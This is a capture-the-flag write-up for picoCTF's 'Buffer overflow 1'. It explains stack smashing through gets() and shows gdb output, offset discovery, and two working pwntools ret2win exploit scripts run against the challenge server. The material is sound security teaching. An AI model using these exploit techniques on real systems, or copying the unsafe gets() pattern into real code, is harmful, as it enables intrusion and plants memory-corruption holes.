Buffer overflow 1
Overview

Buffer overflow 1

June 16, 2022
6 min read
1

Buffer overflow 1

Solver
e enscribe
Authors
Sanjay C., Lt. "Syreal" Jones
Category
pwn
Points
300
Files
vuln vuln.c
Remote
$ nc saturn.picoctf.net [PORT]
Flag
picoCTF{ov3rfl0ws_ar3nt_that_bad_[REDACTED]}

Control the return address.
Now we’re cooking! You can overflow the buffer and return to the flag function in the program.

Warning

This is an instance-based challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic.

Terminal window
$ checksec vuln
[*] '/home/kali/ctfs/pico22/buffer-overflow-1/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

Let’s check out our source code:

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}

In the vuln() function, we see that once again, the gets() function is being used. However, instead of triggering a segmentation fault like Buffer overflow 0, we will instead utilize its vulnerability to write our own addresses onto the stack, changing the return address to win() instead.

I: Explaining the Stack

Before we get into the code, we need to figure out how to write our own addresses to the stack. Let’s start with a visual:

Stack Visual

Whenever we call a function, multiple items will be “pushed” onto the top of the stack (in the diagram, that will be on the right-most side). It will include any parameters, a return address back to main(), a base pointer, and a buffer. Note that the stack grows downwards, towards lower memory addresses, but the buffer is written upwards, towards higher memory addresses.

We can “smash the stack” by exploiting the gets() function. If we pass in a large enough input, it will overwrite the entire buffer and start overflowing into the base pointer and return address within the stack:

Overflow Visual

If we are deliberate of the characters we pass into gets(), we will be able to insert a new address to overwrite the return address to win(). Let’s try!

II: Smashing the Stack

To start, we first need to figure out our “offset”. The offset is the distance, in characters, between the beginning of the buffer and the position of the $eip. This can be visualized with the gdb-gef utility by setting a breakpoint (a place to pause the runtime) in the main() function:

Terminal window
gef➤ b main
Breakpoint 1 at 0x80492d7
gef➤ r
Starting program: /home/kali/ctfs/pico22/buffer-overflow-1/vuln
Breakpoint 1, 0x080492d7 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$eax : 0xf7fa39e8 → 0xffffd20c0xffffd3d1"SHELL=/usr/bin/bash"
$ebx : 0x0
$ecx : 0xffffd160 → 0x00000001
$edx : 0xffffd194 → 0x00000000
$esp : 0xffffd1400xffffd160 → 0x00000001
$ebp : 0xffffd148 → 0x00000000
$esi : 0x1
$edi : 0x80490e0<_start+0> endbr32
$eip : 0x80492d7<main+19> sub esp, 0x10
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80492d3 <main+15> mov ebp, esp
0x80492d5 <main+17> push ebx
0x80492d6 <main+18> push ecx
0x80492d7 <main+19> sub esp, 0x10
0x80492da <main+22> call 0x8049130 <__x86.get_pc_thunk.bx>
0x80492df <main+27> add ebx, 0x2d21
0x80492e5 <main+33> mov eax, DWORD PTR [ebx-0x4]
0x80492eb <main+39> mov eax, DWORD PTR [eax]
0x80492ed <main+41> push 0x0
────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x80492d7 in main (), reason: BREAKPOINT

Analyzing this breakpoint, if we look at the arrow on the assembly code, we can see that its address is the exact same as the $eip (0x80492d7). Let’s try overflowing this register by passing an unhealthy amount of As into the program:

Terminal window
gef➤ r
Starting program: /home/kali/ctfs/pico22/buffer-overflow-1/vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$eax : 0x41
$ebx : 0x41414141 ("AAAA"?)
$ecx : 0x41
$edx : 0xffffffff
$esp : 0xffffd130"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x1
$edi : 0x80490e0<_start+0> endbr32
$eip : 0x41414141 ("AAAA"?)
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x41414141 in ?? (), reason: SIGSEGV

Look what happened: our program threw a SIGSEGV (segmentation) fault, as it is trying to reference the address 0x41414141, which doesn’t exist! This is because our $eip was overwritten by all our As (0x41 in hex = A in ASCII).

III: Finessing the Stack

Although we’ve managed to smash the stack, we still don’t know the offset (how many As we need to pass in order to reach the $eip). To solve this problem, we can use the pwntools cyclic command, which creates a string with a recognizable cycling pattern for it to identify:

Terminal window
gef➤ shell cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
gef➤ r
Starting program: /home/kali/ctfs/pico22/buffer-overflow-1/vuln
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x41
$ebx : 0x6161616a ("jaaa")
$ecx : 0x41
$edx : 0xffffffff
$esp : 0xffffd130 0x00000000
$ebp : 0x6161616b ("kaaa")
$esi : 0x1
$edi : 0x80490e0 <_start+0> endbr32
$eip : 0x6161616c ("laaa")
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
─────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616c
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x6161616c in ?? (), reason: SIGSEGV

We can see that $eip is currently overflowed with the pattern 0x6161616c ("laaa"). let’s search for this pattern using pattern search:

Terminal window
gef➤ pattern search 0x6161616c
[+] Searching for '0x6161616c'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)

To figure out which offset we need to use, we can use readelf to analyze header of the vuln executable:

Terminal window
$ readelf -h vuln | grep endian
Data: 2's complement, little endian

Our binary is in little endian, we know that 44 As are needed in order to reach the $eip. The only thing we need now before we create our exploit is the address of the win() function, which will be appended to the end of our buffer to overwrite the $eip on the stack:

Terminal window
gef➤ x win
0x80491f6 <win>: 0xfb1e0ff3

Win is at 0x80491f6, but we need to convert it to the little endian format. You can do this with the pwntools p32() command, which results in \xf6\x91\x04\x08. Let’s make a final visual of our payload:

Payload Visual

Let’s write our payload and send it to the remote server with Python3/pwntools:

solve.py
#!/usr/bin/env python3
from pwn import *
payload = b"A"*44 + p32(0x80491f6) # Little endian: b'\xf6\x91\x04\x08'
host, port = "saturn.picoctf.net", [PORT]
p = remote(host, port) # Opens the connection
log.info(p.recvS()) # Decodes/prints "Please enter your string:"
p.sendline(payload) # Sends the payload
log.success(p.recvallS()) # Decodes/prints all program outputs
p.close() # Closes the connection

Let’s try running the script on the server:

Terminal window
$ python3 buffer-overflow-1.py
[+] Opening connection to saturn.picoctf.net on port [PORT]: Done
[*] Please enter your string:
[+] Receiving all data: Done (100B)
[*] Closed connection to saturn.picoctf.net port [PORT]
[+] Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_[REDACTED]}

We have completed our first ret2win buffer overflow on a x32 binary! Yet, this is just the beginning. How about we spice things up a little bit?

IV: Automating the Stack

Although the concept of buffer overflows can seem daunting to newcomers, experienced pwners will often find these sorts of challenges trivial, and don’t want to spend the effort manually finding offsets and addresses just to send the same type of payload. This is where our best friend comes in: pwntools helper functions and automation! Let’s start with the first part - the $eip offset for x32 binaries.

The main helper we will be using is pwnlib.elf.corefile. It can parse core dump files, which are generated by Linux whenever errors occur during a running process. These files take an image of the process when the error occurs, which may assist the user in the debugging process. Remember when we sent a large cyclic pattern which was used to cause a segmentation fault? We’ll be using the core dump to view the state of the registers during that period, without needing to step through it using GDB. We’ll be using the coredump to eventually find the offset!

Note

Many Linux systems do not have core dumps properly configured. For bash, run ulimit -c unlimited to generate core dumps of unlimited size. For tsch, run limit coredumpsize unlimited. By default, cores are dumped into either the current directory or /var/lib/systemd/coredump.

Before we start, let’s work through the steps with command-line Python. First, let’s import the pwntools global namespace and generate an elf object using pwntool’s ELF():

Terminal window
$ python3 -q
>>> from pwn import *
>>> elf = context.binary = ELF('./vuln')
[*] '/home/kali/ctfs/pico22/buffer-overflow-1/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

We can then generate a cyclic() payload and start a local process referencing the aforementioned elf object. Sending the payload and using the .wait() method will throw an exit code -11, which signals a segmentation fault and generates a core dump.

Terminal window
>>> p = process(elf.path)
[x] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln'
[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln': pid 2219
>>> p.sendline(cyclic(128))
>>> p.wait()
[*] Process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln' stopped with exit code -11 (SIGSEGV) (pid 2219)
>>> exit()
$ ls -al
total 2304
drwxr-xr-x 3 kali kali 4096 Jun 16 15:35 .
drwxr-xr-x 16 kali kali 4096 Jun 14 17:13 ..
-rw------- 1 kali kali 2588672 Jun 16 15:35 core
-rw-r--r-- 1 kali kali 358 Jun 16 03:22 buffer-overflow-1.py
-rwxr-xr-x 1 kali kali 15704 Mar 15 02:45 vuln
-rw-r--r-- 1 kali kali 769 Mar 15 02:45 vuln.c

We can now create a corefile object and freely reference registers! To find the offset, we can simply call the object key within cyclic_find().

Terminal window
>>> core = Corefile('./core')
[x] Parsing corefile...
[*] '/home/kali/ctfs/pico22/buffer-overflow-1/core'
Arch: i386-32-little
EIP: 0x6161616c
ESP: 0xff93abe0
Exe: '/home/kali/ctfs/pico22/buffer-overflow-1/vuln' (0x8048000)
Fault: 0x6161616c
[+] Parsing corefile...: Done
>>> core.registers
{'eax': 65, 'ebp': 1633771883, 'ebx': 1633771882, 'ecx': 65, 'edi': 134516960, 'edx': 4294967295, 'eflags': 66178, 'eip': 1633771884, 'esi': 1, 'esp': 4287867872, 'orig_eax': 4294967295, 'xcs': 35, 'xds': 43, 'xes': 43, 'xfs': 0, 'xgs': 99, 'xss': 43}
>>> hex(core.eip)
'0x6161616c'

Now that we know how ELF objects and core dumps work, let’s apply them to our previous script. Another cool helper I would like to implement is flat() (which has a great tutorial here, referred to by the legacy alias fit()), which flattens arguments given in lists, tuples, or dictionaries into a string with pack(). This will help us assemble our payload without needing to concatenate seemingly random strings of As and little-endian addresses, increasing readability.

This is my final, completely automated script:

solve.py
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False) # sets elf object
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # references elf object
p.sendline(cyclic(128)) # sends cyclic pattern to crash
p.wait() # sigsegv generates core dump
core = Coredump('./core') # parse core dump file
payload = flat({
cyclic_find(core.eip): elf.symbols.win # offset:address
})
if args.REMOTE: # remote process if arg
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive() # receives flag

Let’s run the script on the server:

Terminal window
$ python3 buffer-overflow-1-automated.py REMOTE
[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln': pid 2601
[*] Process '/home/kali/ctfs/pico22/buffer-overflow-1/vuln' stopped with exit code -11 (SIGSEGV) (pid 2601)
[+] Parsing corefile...: Done
[*] '/home/kali/ctfs/pico22/buffer-overflow-1/core'
Arch: i386-32-little
EIP: 0x6161616c
ESP: 0xff829260
Exe: '/home/kali/ctfs/pico22/buffer-overflow-1/vuln' (0x8048000)
Fault: 0x6161616c
[+] Opening connection to saturn.picoctf.net on port [PORT]: Done
[*] Switching to interactive mode
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_[REDACTED]}
[*] Got EOF while reading in interactive

We’ve successfully automated a solve on a simple x32 buffer overflow!